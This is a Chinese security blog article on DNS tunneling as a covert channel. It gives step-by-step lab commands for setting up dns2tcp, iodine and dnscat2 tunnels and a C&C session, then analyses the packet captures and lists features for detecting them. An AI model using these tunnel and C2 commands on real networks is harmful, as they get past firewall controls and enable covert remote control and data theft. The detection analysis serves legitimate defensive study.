freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网隐蔽隧道-DNS隧道流量分析
2023-10-07 14:44:51

DNS隧道

DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在我们的网络世界中DNS是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现诸如远程控制,文件传输等操作,现在越来越多的研究证明DNS Tunneling也经常在僵尸网络和APT攻击中扮演着重要的角色。

一、DNS隧道概述

DNS在我们的网络世界中是一个非常重要的协议,它将长串的不适合记忆的IP地址映射成可读性较强的字符域名。整个域名空间呈层次化的树状结构,顶层是根域,全球一共有13个根域。根域下为我们平常熟悉的顶级域,如.com,.net,.org等。域名的存储、解析和管理都要通过域名服务器来实现。根据域名所属域和授权范围可以划分Zone,Zone上的主服务器和辅服务器均被称为权威域名服务器。权威域名服务器上保存了该域的所有主机信息。

DNS的记录类型有很多,大家常见的有A,AAAA,CNAME,MX,SOA,NS等。DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A,MX,CNAME,TXT,NULL等。

DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。

二、DNS tunneling原理简述

DNS Tunneling可以分为直连和中继两种。直连也就是Client直接和指定的目标DNS Server(Authoritative NS Server)连接,通过将数据编码封装在DNS协议中进行通信,这种方式速度快,但是隐蔽性比较弱,很容易被探测到,另外限制比较高,很多场景不允许自己指定DNS Server。而通过DNS迭代查询而实现的中继隧道,则更为隐秘,但同时因为数据包到达目标DNS Server前需要经过多个节点,所以速度上较直连慢很多。DNS Tunneling的中继模式过程如下图所示。

1694605455_6501a08f59a8b262498d0.png!small?1694605455265

上图中,UserA 和User B由于防火墙D的规则限制无法访问外网,但防火墙上对于DNS的流量是放行的。当User需要解析的域名Local DNS Server无法给出回答时,Local DNS Server就会采用迭代查询通过互联网与各级域的权威服务器进行查询,比如从com域的服务器得到test.com域的权威服务器地址,最后定位到所查询域的权威DNS Server,形成一个逻辑信道。所以,我们可以将通信的数据封装在客户端查询的请求中,当请求的数据包经过上图的路径,最终到达我们控制的权威DNS Server时,再从请求数据包中解析出数据,并将相应的数据封装在DNS Response中,返回给Client完成通信。(Local DNS Server可以由Remote DNS Server代替,原理相同)

三、关键技术

中继过程中的一个关键点是对DNS缓存机制的规避,因为如果需要解析的域名在Local DNS Server中已经有缓存时,Local DNS Server就不会转发数据包。所以在我们构造的请求中,每次查询的域名都是不一样的或者是已经是过期的。

对DNS载荷的编码是DNS Tunneling的另一个核心技术。从高层来看,载荷只是客户端和服务器通信的正常流量。例如客户端发送一个A记录请求给服务器,查询的主机名为2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com,其中2roAUwBaCGRuc3R1bm5lbGluZwo则是客户端传递给服务器的信息,这串字符解码后的信息便是dnstunneling。

最后,因为大多数场景下,内网的Client位于防火墙后,Server不可能发起连接。所以大多数工具,Client会定时向Server发送请求,保证二者之间的通信状态。

四、实现工具及检测

DNS Tunneling从提出到现在已经有了很多的实现工具,历史比较早的有NSTX,Ozymandns,目前比较活跃的有iodine,dnscat2,其他的还有DeNise,dns2tcp,Heyoka等。不同工具的核心原理相似,但在编码,实现细节和目标应用场景方面存在一定的差异性。

目前已经提出了多种检测技术,例如通过请求和相应包的大小进行监测,通常dns tunneling为了取得较大的带宽,会选择构造尽量大的dns请求和响应。还可以通过分析一定时间窗口内所产生的FQDN数,通常DNS Tunneling的FQDN数在一定时间窗口内会远高于正常的DNS流量。另外在Detecting DNS Tunnels Using Character Frequency Analysis论文中,证明了还可以通过词频的检测识别DNS Tunneling的流量。根据Zipf定律,在自然语言的语料库里,一个单词出现的次数与它在频率表里的排名成反比。正常的域名也符合这个定律。而在这篇论文中,证明了DNS Tunneling中由于域名做了编码,不符合Zipf定律,整个分布趋于平稳。另外很多DNS Tunneling使用TXT记录类型发送请求和响应,而在正常的DNS网络流量中,TXT记录的比例可能只有1%-2%,如果时间窗口内,TXT记录的比例激增,那么也意味着存在异常。

五、dns2tcp

1. 简介

dns2tcp是一款利用dns协议传输tcp数据的工具

2. 适用条件

客户端的防火墙禁止tcp出站流量,无法上网,dns2tcp利用dns协议传输tcp数据,从而实现上网(dns协议是udp协议走53端口)。

3. 参数说明

-c     大流量压缩

-F     前台运行

-f     指定配置文件

-r     指定使用的资源

-z     指定DNS域名

-k     设置传输密码

-l     侦听本地端口

-d     编译水平(1 | 2 |3 )

4. 实验环境

kali客户端                    192.168.159.129

kali服务器                    192.168.159.140

windws server 2003             192.168.159.136

5. 实验准备

  • 在windows 2003 配置DNS服务器

1694605469_6501a09da15888dc3ef2a.png!small?1694605469567

  • 在kali服务器上修改文件/etc/dns2tcpd.cnf

1694605476_6501a0a42d55988832bf0.png!small?1694605476088

6. 实验演示------建立隧道

(1)服务器运行以下命令,侦听53端口,启动配置文件里所配置的资源,等待客户端来连接。

dns2tcpd  -F -d 3 -f /etc/dns2tcpd.conf

1694605482_6501a0aa9ed58692b6d93.png!small?1694605483306

(2)2.客户端运行以下命令,侦听本地7002端口,使用ssh资源,如果有数据产生,将通过DNS服务器将数据发给服务器。

这样我们的7002端口,就跟目标53端口建立了隧道。

dns2tcpc -c -k 123456 -d 3  -l 7002 -r ssh  -z   kali2019.test.com 192.168.159.140

1694605489_6501a0b1e3dce857caa21.png!small?1694605490025

(3)3.使用ssh连接本地7002端口,也就是连接服务器53端口,然后服务器在转发给22端口。

ssh root@127.0.0.1 -p 7002

1694605495_6501a0b725d437770c9e9.png!small?1694605495302

7. 流量分析

通过抓包提取dns协议里的附件字段或者直接查看在客户端打出的log,可以发现client通过TXT类型记录的域名前缀来发出数据,通过DNS RR中的TXT记录来附加回应的内容。域名前缀和回应内容均采用base64编码,如果提取单条数据,进行base64解码,即可看到传输的内容。

1694605503_6501a0bf21b1120bd2a64.png!small?1694605502852


1694605508_6501a0c42fccecf0fd46d.png!small?1694605508389

从发包行为上可以发现,如果在进行传输数据这种大量数据交互操作的情况,dns2tcp会将数据切分成若干个小单元,依次发出,时间间隔非常小,而当无数据交互,空闲时,两端仍然通过发包维持通信状态,客户端大约每隔0.6s发出一个状态包。

从捕包的源IP和目的IP来看,dns2tcp并不是利用dns中继进行通信的,而是直接和目的DNS服务器(服务端)直接通信。

请求包和回应包的内容基本一致,除了回应包比请求包多了一串base64加密后的数据

1694605605_6501a125b49a54cc1074c.png!small?1694605605638


1694605610_6501a12a6820b510ed353.png!small?1694605610187

六、Iodine

1. 简介

iodine是目前比较活跃,知名度比较大的一个dns tunneling实现工具,平台覆盖范围广,它可以运行在Linux, Mac OS X, FreeBSD, NetBSD, OpenBSD 和 Windows上,甚至还有android客户端,不过它需要安装TUN/TAP。官方称上行速度最大680 kbit/s,下行速度上限可以达到2.3Mbit/s。

2. 参数说明

Server:

iodined  [options] <tunnel_ip> <topdomain>

tunnel_ip    :    指定server在TUN接口上的IP,客户端的TUN接口IP会和服务端在同一子网内

topdomain    :    用来构造域名的上级域,也就是我们ns记录中的指定域名

Options:

-D            :    指定调试级别,-DD指第二级,‘D’随等级增加

Client:

iodine [options] <topdomain>

Options:

-r         :    采用DNS中继模式传输数据

-M            :    指定上行主机名大小

-m         :    调节最大下行分片大小

-T         :    指定所使用的DNS请求类型,可选有NULL,PRIVATE,TXT,SRV,MX,CNAME,A

-O         :    指定数据编码规范

-L         :    是否使用懒惰模式,默认开启

-I         :    指定请求间的时间间隔

公用Options:

-f                 :    前台运行

-P password     :    指定一个password进行认证,如果不指定,后续会提

3. 实验环境

kali客户端                    192.168.159.129

kali服务器                    192.168.159.140

windws server 2003             192.168.159.136

4. 实验准备

在windows server 2003配置dns服务器(同dns2tcp)

1694605626_6501a13a9025b63bae15d.png!small?1694605626683

5. 实验演示

(1)服务端iodined -c -P 123456 10.0.0.1 kali2019.test.com -DDD

1694605632_6501a14045f3963241f27.png!small?1694605633065

查看服务器ip地址,多了一个dns0接口,IP地址是咱们设置的10.0.0.1

1694605638_6501a1462de939abde65d.png!small?1694605638304

(2)客户端iodine -r -f -P 123456 192.168.159.140 kali2019.test.com -M 200

1694605643_6501a14b697396d193b9d.png!small?1694605643802

查看本地客户端IP地址,多了一个dns0接口,并且IP地址是自动生成和服务器一个网段的10.0.0.2

1694605649_6501a151714c86ffd38c7.png!small?1694605649447

(3)客户端输入ssh root@10.0.0.1

1694605653_6501a155f07903c6f9e53.png!small?1694605654166

可以远程登录服务器,证明dns隧道建立成功

6. 流量分析

Iodine与dns2tcp非常类似,其实这些DNS隧道工具都大同小异。抓包分析可以看到,dns隧道的内容加密,并且上传下载频率高。

iodine的可移植性比较强,在许多不同的类UNIX系统和Win32上运行。都可以在两台主机之间建立隧道。

Iodine操作方便,自动处理接口上的IP号,最多16个用户可以同时共享一台服务器。

1694605661_6501a15d55f61d1f08b7e.png!small?1694605661553

在客户端启动后,会向服务器发送DNS请求包,客户端情报求包,请求包的type类型为10 (未知,可以作为检测的一种特征),

数据作为域名前缀yrbctn.kali2019.test.com, yrbh1o就是请求的数据。

1694605666_6501a162c16acd02519f1.png!small?1694605666628

七、dnscat2

1. 简介

Dnscat2的定位是一个封装在DNS协议中加密的命令与控制(C&C)信道。它同样是C/S架构,Client位于感染主机,而Server位于权威域名服务器上。

2. 实验准备------安装dnscat2

server端

root@kali:~#git clone //github.com/iagox86/dnscat2.git

root@kali:~# cd dnscat2/server

root@kali:~/dnscat2# gem install bundler

root@kali:~/dnscat2/server# bundle install(出现错误等一会就行)

client端

root@kali:~# git clone https://github.com/iagox86/dnscat2.git

root@kali:~# cd dnscat2/client

root@kali:~/dnscat2/client# make

3. 实验环境

kali客户端                    192.168.159.129

kali服务器                    192.168.159.140

4. 实验演示

(1)服务器端输入ruby ./dnscat2.rb

root@kali:~/dnscat2/server# ruby ./dnscat2.rb

1694605673_6501a169f33bc9febf9a5.png!small?1694605674207

(2)客户端输入

./dnscat --dns server=192.168.159.140,port=53 --secret=dd5ed1201ff9a94712a22c2866869a54

1694605681_6501a171108c84c8ab1dc.png!small?1694605681283

服务端显示

1694605686_6501a176b46c0bb701f07.png!small?1694605686696

  • 输入window -i 1,建立一个1的会话

1694605692_6501a17c27032ce6bbb00.png!small?1694605692243

输入ping,接收到响应pong,说明隧道建立成功。

1694605697_6501a18194257cb213592.png!small?1694605697434

5. 流量分析

抓包进行分析

1694605702_6501a18679f8f2896fa1d.png!small?1694605702637

在queries字段可以看到dnscat2加密后的域名开头有dnscat的样式。此数据包使用的是CNAME的类型

1694605708_6501a18c2ba688f927dae.png!small?1694605708023

dnscat2与其他DNS隧道工具不太一样,它提供了命令,并且以窗口的形式,来执行各种命令。通过数据包可以发现,dnscat2通过加密的手段隐蔽了CC服务器的域名。隐蔽性做的更好。

八、总结

即使是在限制非常严格的情况下,DNS 流量也应该是允许放行的。我们就可以利用 DNS 隧道技术在目标主机和我们的 C&C 服务器之间建立连接。命令和信息都包含在 DNS 查询和识别中,这也是很难检测的原因,即使任意命令就隐藏在非常显眼的地方,但是它们被认为是合法的流量,也检测不出来。因此可以通过以下三个方面对DNS恶意流量进行分析。

  1. DNS会话中数据包的总数

正常DNS会话比较简短,随着一次DNS解析任务结束而结束。

DNS隧道木马的会话随着木马的生命周期结束而结束,但在整个木马的生命周期里会向CC服务器发送心跳包,传输信息,资源文件等行为。CC服务器也会发送控制指令。所以在DNS隧道木马的会话中DNS报文数量大。

1694605716_6501a194d85fa140a5869.png!small?1694605717453

  1. 隧道消息类型

在正常的DNS流量中。A记录类型的流量占20%-30%,CNAME记录为38%-48%,AAAA记录占25%,NS记录只有5%,TXT记录只有1%-2%。然而为了获取更高的带宽,一部分的DNS隐蔽信道工具如Iodine。在默认配置下会使用TXT或NULL等不常用的记录类型。

  1. 域名固定部分不变

在DNS隧道的报文中,我们可以看到变化的都是子域名。

1694605723_6501a19b23f048d9f4bff.png!small?1694605723059

但是Dnscat2,根域名也加密了并且一直变化,但是有一个显著的标志。

1694605730_6501a1a26d3f59fbbbfa0.png!small?1694605730583

# 渗透测试 # 网络安全 # 系统安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录